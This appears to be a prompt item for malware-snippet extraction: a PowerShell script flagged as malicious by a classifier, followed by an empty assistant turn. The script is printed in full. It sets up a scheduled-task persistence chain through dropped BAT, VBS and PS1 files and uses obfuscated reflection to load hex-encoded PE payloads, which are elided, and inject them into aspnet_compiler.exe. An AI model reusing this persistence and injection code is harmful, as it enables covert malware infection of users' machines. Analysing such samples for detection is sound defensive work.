User: You are a security researcher and analyst.
Assistant: Understood. I will strictly follow these instructions in this conversation.
User: Here is an example of the desired output:
<start-malicious-code>
Write-Output "Hello"
......
Write-Output "Goodbye"
<end-malicious-code>
You are analyzing a PowerShell script named '1e0558b39f249087fee5b4d5a94b41fdcabb9611720f4028302703dfe9015862.ps1'. Our random forest model has predicted it as malicious. Please identify and list all code snippets associated with unauthorized or malicious activity. Output only malicious code snippets. Do not include explanations, comments, or other text inside the tags.  Write each snippet on its own line. The output malicious code should strictly between the tags '<start-malicious-code>' and '<end-malicious-code>'. **Order them by confidence from high to low.** If uncertain, respond with 'Unknown'. Here is the PowerShell script code you are analyzing:
<code>

$a = "C:\ProgramData\Unlimited\ISO"
New-Item $a -ItemType Directory -Force
$Content = @'
PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\Unlimited\ISO\Binnot.ps1
'@
Set-Content -Path C:\ProgramData\Unlimited\ISO\Binnot.bat -Value $Content
$Content = @'
$x = <#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#> New-ScheduledTaskAction <#__ـــــــــ__#> -Execute <#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#>'C:\ProgramData\Unlimited\ISO\Unlimited.vbs'
$a = <#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#><#__ـــــــــ__#> New-ScheduledTaskTrigger <#__ـــــــــ__#> -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2)
Register-ScheduledTask <#__ـــــــــ__#> -Action $x -Trigger $a <#__ـــــــــ__#> -TaskName <#__ـــــــــ__#>"Unlimited"
'@
Set-Content -Path C:\ProgramData\Unlimited\ISO\Binnot.ps1 -Value $Content
$Content = @'
on error resume next
WScript.Sleep(5000)
Set WshShell = CreateObject("WScript.Shell")  
WshShell.Run chr(34) & "C:\ProgramData\Unlimited\ISO\Binnot.bat" & Chr(34), 0  
Set WshShell = Nothing  
'@
Set-Content -Path C:\ProgramData\Unlimited\ISO\Binnot.vbs -Value $Content
$Content = @'
on error resume next
WScript.Sleep(5000)
Set WshShell = CreateObject("WScript.Shell")  
WshShell.Run chr(34) & "C:\ProgramData\Unlimited\ISO\Unlimited.bat" & Chr(34), 0  
Set WshShell = Nothing  
'@
Set-Content -Path C:\ProgramData\Unlimited\ISO\Unlimited.vbs -Value $Content
$Content = @'
PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\Unlimited\ISO\Unlimited.ps1
'@
Set-Content -Path C:\ProgramData\Unlimited\ISO\Unlimited.bat -Value $Content
$Content = @'
    start-sleep 3
Function Binary2String([String] $data) {
    $byteList = [<#_(**^&@!%%&&#>System.Collections.Generic.List[<#_(**^&@!%%&&#>Byte<#_(**^&@!%%&&#>]]::new()
    for ($i = 0; $i -lt $data.Length; $i +=8) {
        $byteList.Add([<#_(**^&@!%%&&#>Convert<#_(**^&@!%%&&#>]::ToByte($data.Substring($i, 8), 2))
    }
    return [<#_(**^&@!%%&&#>System.Text.Encoding<#_(**^&@!%%&&#>]::ASCII.GetString(<#_(**^&@!%%&&#>$byteList.ToArray())
}
  try 
    {
Function Convert-HexToByte([String] $data) {
    $bytes = New-Object -TypeName byte[] -ArgumentList ($data.Length / 2)
    for ($i = 0; $i -lt $data.Length; $i += 2) {
        $bytes[$i / 2] = [<#_(**^&@!%%&&#>Convert<#_(**^&@!%%&&#>]::ToByte($data.Substring($i, 2), 16)
    }
    return [byte[]]$bytes
}
        } catch { }
 try 
    {
         start-sleep 3
[byte[<#_(**^&@!%%&&#>]<#_(**^&@!%%&&#>]<#_(**^&@!%%&&#>$Stod5<#_(**^&@!%%&&#> = <#_(**^&@!%%&&#>Convert-HexToByte(<#_(**^&@!%%&&#>"4D5A9...000") # The omitted "4D5A9...000" is actually a 124929 character long hexadecimal string.
[byte[<#_(**^&@!%%&&#>]<#_(**^&@!%%&&#>]<#_(**^&@!%%&&#>$Stod08 = <#_(**^&@!%%&&#>Convert-HexToByte(<#_(**^&@!%%&&#>"4D5A...000") # The omitted "4D5A...000" is actually a 142337 character long hexadecimal string.
   } catch { }
    try 
    {
$IFFFD = "LZXXZ".Replace("ZXXZ","oad")
  $zz = $IFFFD
  $get = "GeLZXXZ".Replace("LZXXZ","tMethod")
  $get1 = $get
 $dddd = (Binary2String("01000101011110000110010101100011011101010111010001100101"))
[<#_(**^&@!%%&&#>Reflection.Assembly<#_(**^&@!%%&&#>]::$zz(<#_(**^&@!%%&&#>$Stod08<#_(**^&@!%%&&#>).'Gettype'('GIT.local').$get1($dddd).Invoke($null,('C*****************:\Windo*****************ws\Micros*****************oft.NEt\F*****************ramework\*****************v4.0.30319*****************\asp*****************net_com*****************piler.e*****************xe'.Replace("*****************",""),$Stod5))
$VBX = "Fra*@~!~!~!~!@".Replace("*@~!~!~!~!@","mework64")
$SEWYSU = "Fra*%^%#CVS".Replace("*%^%#CVS","mework")
$SEWYSU + $VBX
} catch { }
'@
Set-Content -Path C:\ProgramData\Unlimited\ISO\Unlimited.ps1 -Value $Content
<#__ـــــــــ__#>
start-Sleep 6
start C:\ProgramData\Unlimited\ISO\Binnot.vbs

<\code>
Assistant: